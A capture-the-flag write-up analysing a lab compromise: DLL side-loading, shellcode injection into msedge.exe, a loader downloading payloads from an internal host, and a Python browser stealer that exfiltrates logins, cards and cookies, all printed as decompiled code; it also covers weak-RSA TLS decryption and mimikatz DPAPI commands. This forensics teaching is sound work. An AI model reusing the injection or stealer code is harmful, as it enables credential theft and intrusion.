# L3AKCTF Memory Forensics writeup

> An employee's workstation began acting suspiciously; strange files appeared, and system performance dropped. Can you investigate what happened?
P/s: Thanks abdelrhman322 for creating such an amazing forensics challenge, although I couldn't solve it during the competition, it still a valuable lesson and experience for me. I love your blog btw :>
Let the challenge begin. At first, I was given 3 files:
* disk.ad1 - a disk memory dump file from FTK Imager
* traffic.pcap - network packets captured during the attack
* memdump.mem - a RAM dump
Let's have a look on these files:
## Investigation
3 files was given out, so I guess the flag was seperated into 3 parts, and each part was hidden in each files.
### Disk memory

It was a `%APPDATA%\Roaming\Microsoft` folder, Powershell history has nothing but a command to dump the memory out. I guess we'll have to decrypt some DPAPI encrypted data cuz there's nothing left in the disk except the SID and masterkey file.
### Network Traffic

I opened the .pcapng file with Wireshark and noticed a large number of packets exchanged between `10.10.70.140:54971` and `10.10.70.114:443`. Since port 443 is commonly used for HTTPS, and many of the packets were TLS, I assumed the communication was encrypted.
To confirm this, I filtered the traffic using `tls` and examined the packet details. Most of the payloads appeared as encrypted application data, which suggested that I wouldn't be able to directly read the contents without the encryption keys.
At this point, I decided to look for potential ways to decrypt the TLS traffic. One common method is to use a memory dump to extract session keys, so I turned my attention to `memdump.mem`.
### RAM dump
Using volatility3 as my favorite tool when doing memory forensics, starting out with the most common plugins - `windows.pslist`, I noticed some weird behaviors in this memory dump.

`7za.exe` is the parent process of `conhost.exe` and `msedge.exe`, why would these 2 process be spawned by 7za.exe - a standalone command-line executable file associated with the 7-Zip file archiver ?
* `conhost.exe` will be spawn as a child process of any process that spawn windows shell process (`powershell.exe` or `cmd.exe`)
* `msedge.exe` is a web browser and it shouldn't be spawned by `7za.exe` under any circumstances.
This could make the `7za.exe` becomes a **Process hollowing host** - spawning msedge.exe, then injecting and executing malicious code within its memory space, or a **Loader** , which loads DLL from disk or memory into the spawned process.
Before dumping the process out, I'll use `windows.filescan` plugin to get the process virtual address in the memory.

Using the virtual address, I dumped it out.

Let's upload this file on VirusTotal

with 1/72 vendors flagged as malicious, this file is totally harmless and it's a normal `7za.exe`. However, the file could be use for other attacking method like I said before, I'll continue to investigate the `7za.exe` working directory to see if it does load any DLL.

Only 1 dll found in its working directory, this is very suspicious because `cryptbase.dll` is usually found in `C:\Windows\System32`, not in `Downloads`.
Based on these evidences, I can conclude that `7za.exe` was used as an **DLL Side-Loader**, so what is **DLL Side-Loading** ?.
>DLL Side-Loading is a technique where a legitimate, signed executable is tricked into loading a malicious DLL placed in its working directory. Many Windows executables follow a specific DLL search order—prioritizing the current directory before system paths like `System32`. Attackers abuse this behavior by placing a malicious DLL (with the same name as a legitimate one) alongside a trusted executable. When the executable runs, it unknowingly loads and executes the attacker's code.
TL;DR: it executes the fake, malicous DLL instead of the safe one because of the identical name.
## Analyzing the binary
Let's start dumping it out to investigate it.

There we go there we go, a lil bit of red, , I'll load the DLL into IDA to start reverse engineering on it and to understand its behavior.
```c=
int sub_7FFED6511000()
{
HRSRC ResourceW; // rax
HRSRC v1; // rdi
DWORD v2; // ebx
HGLOBAL Resource; // rax
HRSRC v4; // rbp
SIZE_T v5; // rsi
HRSRC v6; // rdi
DWORD v7; // edx
HRSRC v8; // rcx
__int64 v9; // rax
DWORD (__stdcall *v10)(LPVOID); // rbx
HRSRC v11; // rbx
HMODULE phModule; // [rsp+50h] [rbp-B8h] BYREF
struct _PROCESS_INFORMATION ProcessInformation; // [rsp+58h] [rbp-B0h] BYREF
DWORD ExitCode; // [rsp+70h] [rbp-98h] BYREF
SIZE_T NumberOfBytesWritten; // [rsp+78h] [rbp-90h] BYREF
struct _STARTUPINFOW lpStartupInfo; // [rsp+80h] [rbp-88h] BYREF
lpStartupInfo.cb = 104;
memset(&lpStartupInfo.lpReserved, 0, 96);
LODWORD(ResourceW) = CreateProcessW(
L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
0LL,
0LL,
0LL,
0,
4u,
0LL,
0LL,
&lpStartupInfo,
&ProcessInformation);
if ( ResourceW )
{
phModule = 0LL;
LODWORD(ResourceW) = GetModuleHandleExW(4u, sub_7FFED6511000, &phModule);
if ( ResourceW )
{
ResourceW = FindResourceW(phModule, 0x65, L"SHELL");
v1 = ResourceW;
if ( ResourceW )
{
v2 = SizeofResource(phModule, ResourceW);
Resource = LoadResource(phModule, v1);
ResourceW = LockResource(Resource);
v4 = ResourceW;
if ( ResourceW )
{
if ( v2 )
{
v5 = v2;
ResourceW = VirtualAlloc(0LL, v2, 0x1000u, 0x40u);
v6 = ResourceW;
if ( ResourceW )
{
sub_7FFED651D400(ResourceW, v4, v2);
v7 = 0;
v8 = v6;
do
{
v8 = (v8 + 1);
v9 = v7++ & 0xF;
*(v8 - 1) ^= aX7qp9zlma2vtej[v9];
}
while ( v7 < v2 );
ResourceW = VirtualAllocEx(ProcessInformation.hProcess, 0LL, v2, 0x3000u, 0x40u);
v10 = ResourceW;
if ( ResourceW )
{
NumberOfBytesWritten = 0LL;
LODWORD(ResourceW) = WriteProcessMemory(
ProcessInformation.hProcess,
ResourceW,
v6,
v5,
&NumberOfBytesWritten);
if ( ResourceW )
{
ResourceW = CreateRemoteThread(ProcessInformation.hProcess, 0LL, 0LL, v10, 0LL, 0, 0LL);
v11 = ResourceW;
if ( ResourceW )
{
ExitCode = 0;
GetExitCodeThread(ResourceW, &ExitCode);
CloseHandle(v11);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
LODWORD(ResourceW) = VirtualFree(v6, 0LL, 0x8000u);
}
}
}
}
}
}
}
}
}
return ResourceW;
}
```
as you can see, this function is absolutely a **process injection** function using a shellcode embedded in the DLL's resources.
```c=
CreateProcessW(
L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe",
0LL,
0LL,
0LL,
0,
4u,
0LL,
0LL,
&lpStartupInfo,
&ProcessInformation);
```
Create process `msedge.exe` with **SUSPENDED** status, `0x00000004` is `CREATE_SUSPENDED` flag, which means the process is created but its primary thread is not yet running, probally for shellcode injection.
```c=
{
phModule = 0LL;
LODWORD(ResourceW) = GetModuleHandleExW(4u, sub_7FFED6511000, &phModule);
if ( ResourceW )
{
ResourceW = FindResourceW(phModule, 0x65, L"SHELL");
v1 = ResourceW;
if ( ResourceW )
{
v2 = SizeofResource(phModule, ResourceW);
Resource = LoadResource(phModule, v1);
ResourceW = LockResource(Resource);
v4 = ResourceW;
if ( ResourceW )
{
if ( v2 )
{
v5 = v2;
ResourceW = VirtualAlloc(0LL, v2, 0x1000u, 0x40u);
v6 = ResourceW;
if ( ResourceW )
{
sub_7FFED651D400(ResourceW, v4, v2);
v7 = 0;
v8 = v6;
do
{
v8 = (v8 + 1);
v9 = v7++ & 0xF;
*(v8 - 1) ^= aX7qp9zlma2vtej[v9];
}
```
Get current module using `GetModuleHandleExW()`, locate shellcode using `FindResourceW()` with `ID=0x65` and `TYPE=SHELL`. Then load shellcode using `LoadResource()`, allocated the memory for the shellcode by using `VirtualAlloc`, the loaded shellcode will be XOR with a 16-byte key `aX7qp9zlma2vtej`

```c=
&NumberOfBytesWritten);
if ( ResourceW )
{
ResourceW = CreateRemoteThread(ProcessInformation.hProcess, 0LL, 0LL, v10, 0LL, 0, 0LL);
v11 = ResourceW;
if ( ResourceW )
{
ExitCode = 0;
GetExitCodeThread(ResourceW, &ExitCode);
CloseHandle(v11);
CloseHandle(ProcessInformation.hThread);
CloseHandle(ProcessInformation.hProcess);
LODWORD(ResourceW) = VirtualFree(v6, 0LL, 0x8000u);
```
The shellcode is executed within msedge.exe using `CreateRemoteThread()`. After execution, the handle is closed using `CloseHandle()`, and the allocated memory is freed with `VirtualFree()`.
In conclusion, this function represents a typical **process injection** technique, where a legitimate process - **msedge.exe** is abused to host and execute malicious shellcode. This approach is commonly used to evade detection by antivirus (AV) and endpoint protection systems, since the malicious code runs under the context of a trusted binary.
### Extracting the shellcode
Let's extract the shellcode to analyze its behavior deeper.

I used [ResourceHacker](https://www.angusj.com/resourcehacker/) to extract the shellcode, and CyberChef to decode it

At this point, just manually grep for PE headers (4d 5a) or automatically by using binwalk cuz as always shellcode is used for executing a payload or another executable file.

P/s: after online researching, I have found some interesting information about this shellcode.
## Shellcode Analyzing
Open the shellcode in HexEditor:

`E8 00 00 00 00 59 49 89 C8 48 81 C1 23 0B 00 00`, let's analyze this header:
`E8 00 00 00 00`: **CALL 0x5 (or $+5)**: push current instruction pointer into the stack, a common shellcode trick to get the current address
`59` : **POP RCX**: retrieves the pointer and stores it in RCX
`49 89 c8`: **MOV R8,RCX**: prepare for a function call
`48 81 c1 23 0b 00 00`: **ADD RCX,0xB23**: adjust the pointer to the another code segment (shellcode).
Further investigation, I found out that this shellcode header was generated by a technique called: [sRDI - Shellcode Reflective DLL Injection](https://github.com/monoxgas/sRDI)

>Shellcode reflective DLL injection (sRDI) is a technique that allows converting a given DLL into a position independent shellcode that can then be injected using your favourite shellcode injection and execution technique
Basically, it's just a way to wrap a DLL in shellcode format so that it doesn't need to be loaded through the standard Windows loader (e.g., `LoadLibrary`). Instead, the shellcode contains a minimal PE loader that maps the DLL into memory, resolves imports, handles relocations, and executes the DLL's entry point — all without touching disk or relying on the OS's native loading mechanisms.
This makes sRDI ideal for stealthy in-memory execution, as it helps avoid detection by antivirus and EDR tools that monitor DLL loading or file access.
**Conclusion**: The shellcode was converted into position-independent shellcode, and was turned into a reflective DLL loader.
Load the DLL into IDA:
```c=
int RunME_0()
{
__int64 v0; // rdi
__int64 v1; // rdx
CHAR *v2; // rcx
CHAR v3; // al
CHAR *v4; // rax
__int64 v5; // rcx
CHAR *v6; // rax
__int64 v7; // rax
CHAR *v8; // rcx
__int64 v9; // rdx
__int64 v10; // rax
char *v11; // r9
CHAR v12; // r8
CHAR *v13; // rax
__int64 v14; // rdx
CHAR *v15; // rcx
CHAR v16; // al
CHAR *v17; // rax
__int64 v18; // rcx
CHAR *v19; // rax
__int64 v20; // rax
CHAR *v21; // rcx
__int64 v22; // rdx
__int64 v23; // rax
char *v24; // r9
CHAR v25; // r8
CHAR *v26; // rax
int result; // eax
__int64 v28; // rdx
CHAR *v29; // rcx
CHAR v30; // al
CHAR *v31; // rax
__int64 v32; // rcx
CHAR *v33; // rax
__int64 v34; // rax
CHAR *v35; // rcx
__int64 v36; // rbx
char *v37; // rdx
CHAR v38; // al
CHAR *v39; // rax
CHAR v40[272]; // [rsp+30h] [rbp-458h] BYREF
CHAR v41[272]; // [rsp+140h] [rbp-348h] BYREF
CHAR pszPath[272]; // [rsp+250h] [rbp-238h] BYREF
CHAR v43[272]; // [rsp+360h] [rbp-128h] BYREF
v0 = 2147483646LL;
if ( SHGetFolderPathA(0LL, 26, 0LL, 0, pszPath) >= 0 )
{
v1 = 260LL;
v2 = v40;
do
{
if ( v1 == -2147483386 )
break;
v3 = v2[pszPath - v40];
if ( !v3 )
break;
*v2++ = v3;
--v1;
}
while ( v1 );
v4 = v2 - 1;
if ( v1 )
v4 = v2;
v5 = 260LL;
*v4 = 0;
v6 = v40;
do
{
if ( !*v6 )
break;
++v6;
--v5;
}
while ( v5 );
v7 = 260 - v5;
if ( v5 )
{
v8 = &v40[v7];
v9 = 260 - v7;
if ( v7 != 260 )
{
v10 = 2147483646LL;
v11 = ("\\encrypted.bin" - v8);
do
{
if ( !v10 )
break;
v12 = v8[v11];
if ( !v12 )
break;
*v8 = v12;
--v10;
++v8;
--v9;
}
while ( v9 );
}
v13 = v8 - 1;
if ( v9 )
v13 = v8;
*v13 = 0;
}
URLDownloadToFileA(0LL, "https://10.10.70.114/encrypted.bin", v40, 0, 0LL);
}
v14 = 260LL;
v15 = v41;
do
{
if ( v14 == -2147483386 )
break;
v16 = v15[pszPath - v41];
if ( !v16 )
break;
*v15++ = v16;
--v14;
}
while ( v14 );
v17 = v15 - 1;
if ( v14 )
v17 = v15;
v18 = 260LL;
*v17 = 0;
v19 = v41;
do
{
if ( !*v19 )
break;
++v19;
--v18;
}
while ( v18 );
v20 = 260 - v18;
if ( v18 )
{
v21 = &v41[v20];
v22 = 260 - v20;
if ( v20 != 260 )
{
v23 = 2147483646LL;
v24 = ("\\2.txt" - v21);
do
{
if ( !v23 )
break;
v25 = v21[v24];
if ( !v25 )
break;
*v21 = v25;
--v23;
++v21;
--v22;
}
while ( v22 );
}
v26 = v21 - 1;
if ( v22 )
v26 = v21;
*v26 = 0;
}
URLDownloadToFileA(0LL, "https://10.10.70.114/2.txt", v41, 0, 0LL);
URLDownloadToFileA(0LL, "https://10.10.70.114/L3AK{AV_evasion_is_easy", v41, 0, 0LL);
result = SHGetFolderPathA(0LL, 7, 0LL, 0, v43);
if ( result >= 0 )
{
v28 = 260LL;
v29 = v40;
do
{
if ( v28 == -2147483386 )
break;
v30 = v29[v43 - v40];
if ( !v30 )
break;
*v29++ = v30;
--v28;
}
while ( v28 );
v31 = v29 - 1;
if ( v28 )
v31 = v29;
v32 = 260LL;
*v31 = 0;
v33 = v40;
do
{
if ( !*v33 )
break;
++v33;
--v32;
}
while ( v32 );
v34 = 260 - v32;
if ( v32 )
{
v35 = &v40[v34];
v36 = 260 - v34;
if ( 260 != v34 )
{
v37 = ("\\sctask.exe" - v35);
do
{
if ( !v0 )
break;
v38 = v35[v37];
if ( !v38 )
break;
*v35 = v38;
--v0;
++v35;
--v36;
}
while ( v36 );
}
v39 = v35 - 1;
if ( v36 )
v39 = v35;
*v39 = 0;
}
return URLDownloadToFileA(0LL, "https://10.10.70.114/sctasks.exe", v40, 0, 0LL);
}
return result;
}
```
We have the very first part of the flag: `L3AK{AV_evasion_is_easy`
## Decrypting the TLS Traffic
This function has nothing but only to download several files from a specific address. After this, I can conclude that we have to decrypt the TLS traffic in order to get these downloaded files, but how do I decrypt it ?
In the past, I've faced so many challenges like this, all the times I was given an SSL keylog file or a TLS Secret file so the traffic could be easily decrypted. But this time, it's different.
I noticed there's a certificate included in the TLS packet:

Uncover its metadata by using openssl:
```openssl x509 -in traffic.cer -inform DER -text -noout -modulus
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
76:a9:af:24:d7:1a:c3:aa:fd:d3:ca:b1:25:fd:0d:f2:90:6a:7e:76
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Validity
Not Before: Jun 15 01:09:12 2025 GMT
Not After : Jun 15 01:09:12 2026 GMT
Subject: C=AU, ST=Some-State, O=Internet Widgits Pty Ltd
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (1323 bit)
Modulus:
04:5e:86:65:4b:c0:a3:b7:ca:87:31:07:a3:36:f5:
27:d1:30:5f:6a:44:c8:0e:3d:54:ba:fe:d6:69:c4:
51:18:d5:c3:0c:89:c4:65:c0:cc:fb:06:0a:62:59:
22:b4:2f:9a:70:25:5f:6d:20:82:5e:3b:f8:4c:7c:
a2:9f:3f:5b:04:89:52:51:e7:0f:e8:76:a7:4c:1b:
35:83:bf:7f:3e:ae:cd:56:b4:d4:48:7c:66:b0:aa:
15:5b:b9:35:c0:a2:0d:92:5b:31:4d:07:9c:1e:91:
d5:77:53:46:c6:e4:b7:bf:0a:e1:1e:d9:3a:55:b3:
d2:6b:71:3e:25:b1:d3:16:66:0b:98:9c:df:93:5b:
e6:7f:ff:82:bc:89:00:00:00:00:00:00:00:00:00:
00:00:00:00:00:00:00:00:00:00:00:00:00:01:32:
99
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Subject Key Identifier:
AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
X509v3 Authority Key Identifier:
AE:05:E9:E8:18:02:30:35:FC:BD:2D:A8:B3:68:7E:F0:7E:3E:6D:50
X509v3 Basic Constraints: critical
CA:TRUE
Signature Algorithm: sha256WithRSAEncryption
Signature Value:
00:4b:05:2a:b4:ae:2b:7e:ad:67:70:29:7a:a7:91:e9:f9:45:
47:fb:fd:c1:43:36:69:e9:33:7e:29:61:07:71:4d:14:d8:bb:
25:8f:80:f6:6c:28:1b:6b:a8:dd:20:ab:bb:cd:89:ca:2e:76:
8b:de:6d:28:72:e0:48:4b:d5:2b:76:ff:8f:90:60:45:24:31:
e8:58:c4:17:ec:39:c5:f9:2a:cb:c2:f4:64:df:20:af:5f:42:
f4:aa:78:52:55:76:aa:04:5a:b6:aa:f4:6c:dc:6e:6f:dd:3a:
93:5b:8c:de:af:a0:ef:8f:89:8a:50:b6:78:b7:33:8e:07:6b:
4f:dc:e1:69:09:9b:b9:b7:86:45:6e:5d:71:6a:86:53:d6:b6:
f2:3b:c1:e5:65:c6:fb:45:df:b8:27:2b:df:d9:8f:27:80:b6:
34:42:ed:ec
Modulus=45E86654BC0A3B7CA873107A336F527D1305F6A44C80E3D54BAFED669C45118D5C30C89C465C0CCFB060A625922B42F9A70255F6D20825E3BF84C7CA29F3F5B04895251E70FE876A74C1B3583BF7F3EAECD56B4D4487C66B0AA155BB935C0A20D925B314D079C1E91D5775346C6E4B7BF0AE11ED93A55B3D26B713E25B1D316660B989CDF935BE67FFF82BC8900000000000000000000000000000000000000000000013299
```
Since we have the modulus, we can easily recreate the private key by factorize it into its two prime components `p` and `q`, then use [rsatool](https://github.com/ius/rsatool) to create the private key.
Using https://factordb.com/, converting the hex value to decimal value, I got the value of `p` and `q`
Using rsatool, I successfully managed to create the private key

Here are the steps to decrypt the traffic using the private key.
`Edit` -> `Preferences` -> `Protocols` -> `TLS` -> `Edit RSA Keys list`.

As you can see, the `(Pre)-Master-Secret log filename` is for the SSLKeyLog or TLS Secret file I mentioned above.
Hit apply and your traffic will be decrypted:

Let's save them all.
`2.txt` contains 2nd part of the flag:`_Mastering_forensics_`
Let's see what's sctasks.exe is:

## Decompiling the stealer
As you can see, `sctasks.exe` has the icon of PyInstaller packed application. I'm gonna use `pyinsxtractor` to extract its .pyc files, then use `pylingual` to decompile them.
```python=
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: browser_stealer.py
# Bytecode version: 3.13.0rc3 (3571)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)
import base64
import json
import os
import shutil
import sqlite3
from datetime import datetime, timedelta
from Crypto.Cipher import AES
from win32crypt import CryptUnprotectData
appdata = os.getenv('LOCALAPPDATA')
roaming = os.getenv('APPDATA')
browsers = {'avast': appdata + '\\AVAST Software\\Browser\\User Data', 'amigo': appdata + '\\Amigo\\User Data', 'torch': appdata + '\\Torch\\User Data', 'kometa': appdata + '\\Kometa\\User Data', 'orbitum': appdata + '\\Orbitum\\User Data', 'cent-browser': appdata + '\\CentBrowser\\User Data', '7star': appdata + '\\7Star\\7Star\\User Data', 'sputnik': appdata + '\\Sputnik\\Sputnik\\User Data', 'vivaldi': appdata + '\\Vivaldi\\User Data', 'chromium': appdata + '\\Chromium\\User Data', 'chrome-canary': appdata + '\\Google\\Chrome SxS\\User Data', 'chrome': appdata + '\\Google\\Chrome\\User Data', 'epic-privacy-browser': appdata + '\\Epic Privacy Browser\\User Data', 'msedge-dev': appdata + '\\Microsoft\\Edge Dev\\User Data', '\\uCozMedia\\Uran\\User Data': appdata + '\\Yandex\\YandexBrowser\\User Data', '\\BraveSoftware\\Brave-Browser\\User Data': appdata + '\\Iridium\\User Data', '\\CocCoc\\Browser\\User Data': roaming + '\\Opera Software\\Opera Stable', '\\Opera Software\\Opera GX Stable': roaming + '\\Opera Software\\Opera GX Stable'}
data_queries = {'login_data': {'query': 'SELECT action_url, username_value, password_value FROM logins', 'file': '\\Login Data', 'columns': ['URL', 'Email', 'Password'], 'decrypt': True}, 'credit_cards': {'query': 'SELECT name_on_card, expiration_month, expiration_year, card_number_encrypted, date_modified FROM credit_cards', 'file': '\\Web Data', 'columns': ['Name On Card', 'Card Number', 'Expires On', 'Added On'], 'decrypt': True}, 'cookies': {'query': 'SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies', 'file': '\\Network\\Cookies', 'columns': ['Host Key', 'Cookie Name', 'Path', 'Cookie', 'Expires On'], 'decrypt': True}, 'history': {'query': 'SELECT url, title, last_visit_time FROM urls', 'file': '\\History', 'columns': ['URL', 'Title', 'Visited Time'], 'decrypt': False}, 'downloads': {'query': 'SELECT tab_url, target_path FROM downloads'
def get_master_key(path: str):
if not os.path.exists(path):
pass # postinserted
return None
def decrypt_password(buff: bytes, key: bytes) -> str:
iv = buff[3:15]
payload = buff[15:(-16)]
cipher = AES.new(key, AES.MODE_GCM, iv)
decrypted_pass = cipher.decrypt(payload)
decrypted_pass = decrypted_pass.decode()
return decrypted_pass
def save_results(browser_name, type_of_data, content):
if content:
url = 'http://10.10.70.114:443'
data = {'browser': browser_name, 'type': type_of_data, 'content': content}
try:
response = requests.post(url, json=data)
if response.status_code == 200:
print(f'\t [*] Data sent successfully for {browser_name}/{type_of_data}')
return None
else: # inserted
return None
except Exception as e:
print(f'\t [-] Error sending data: {e}')
return None
def decrypt_my_data(encrypted_file):
with open('encrypted.bin', 'rb') as f:
content = f.read()
iv = '1234567891011123'
encrypted_data = '6b4781995cf5e4e02c2625b3d1ac6389dbaf68fb5649a3c24ede19465f470412'
key = CryptUnprotectData(content, None, None, None, 0)[1]
key = bytes.fromhex(key)
cipher = AES.new(key, AES.MODE_CBC, iv)
data = cipher.decrypt(encrypted_data)
return decrypt_my_data
def get_data(path: str, profile: str, key, type_of_data):
db_file = f"{path}\\{profile}{type_of_data['file']}"
if not os.path.exists(db_file):
pass # postinserted
return None
def convert_chrome_time(chrome_time):
return (datetime(1601, 1, 1) + timedelta(microseconds=chrome_time)).strftime('%d/%m/%Y %H:%M:%S')
def installed_browsers():
available = []
for x in browsers.keys():
if os.path.exists(browsers[x] + '\\Local State'):
pass # postinserted
else: # inserted
available.append(x)
return available
if __name__ == '__main__':
available_browsers = installed_browsers()
for browser in available_browsers:
browser_path = browsers[browser]
master_key = get_master_key(browser_path)
print(f'Getting Stored Details from {browser}')
for data_type_name, data_type in data_queries.items():
print(f"\t [!] Getting {data_type_name.replace('_', ' ').capitalize()}")
notdefault = ['opera-gx']
profile = 'Default'
profile = '' if browser in notdefault else ''
data = get_data(browser_path, profile, master_key, data_type)
save_results(browser, data_type_name, data)
print('\t------\n')
```
There we go, we got a stealer!. We've got our IV and encrypted data here, then what is the encrypted.bin ?
Let's analyze the `encrypted.bin` header:

Searching Google, I found out that `encrypted.bin` is a DPAPI encrypted file by its signature header:

## Decrypting DPAPI
Using Nirsoft tools to decrypt - https://www.nirsoft.net/utils/dpapi_data_decryptor.html

The decryption requires the user's `Windows login password`, `Protect` folder and `Registry Hive folder` (I think registry hive folder is just for getting the user's password since we can dump the password from just SAM, SYSTEM hive, SID and masterkey (from Protect folder)).
Using `windows.hashdump` plugins on the RAM dump, I successfully retrieved the hash.

Using [crackstation](https://crackstation.net/), I managed to crack the user ntlm hash, which leads to the user's password:

Next one is to dump the `Protect` folder out using FTK Imager, and click on OK!

There we go, `my_super_secret_`, since we already have the IV, I think this is obviously the key, and its length is also 16 bytes, long enough for an AES key, lets try decrypting it:

Bingo !
Concatinate all 3 parts, our flag is:
`L3AK{AV_evasion_is_easy_Mastering_forensics_is_where_the_challenge_begins}`
P/S: There also another way to decrypt the DPAPI encrypted file, is using `mimikatz`
Command: `dpapi::masterkey /in:<extracted masterkey> /sid:<sid> /password:<password>`
This is how we extract the masterkey:

Using the extracted masterkey, this is the command to decrypt the encrypted file:
`dpapi::blob /in:<encrypted_file> /masterkey:<value>`


## Conclusion
Things learnt:
* Suspicious behavior, hollowed process detecting (from `7za.exe` suspiciously spawned `msedge.exe` to stealer)
* Windows API/ DLL Reverse Engineering
* Extracting shellcode and analyze its header
* sRDI - shellcode Reflective DLL Injection, DLL wrapper technique
* Decrypting TLS Traffic using only RSA Certificiate
* Decrypting DPAPI Encrypted data using Nirsofts Tools and mimikatz
P/s: There's another way to detect hollowed process, is to use `windows.hollow` volatility3 plugins:

Thanks a lot for reading my writeup, stay tune !!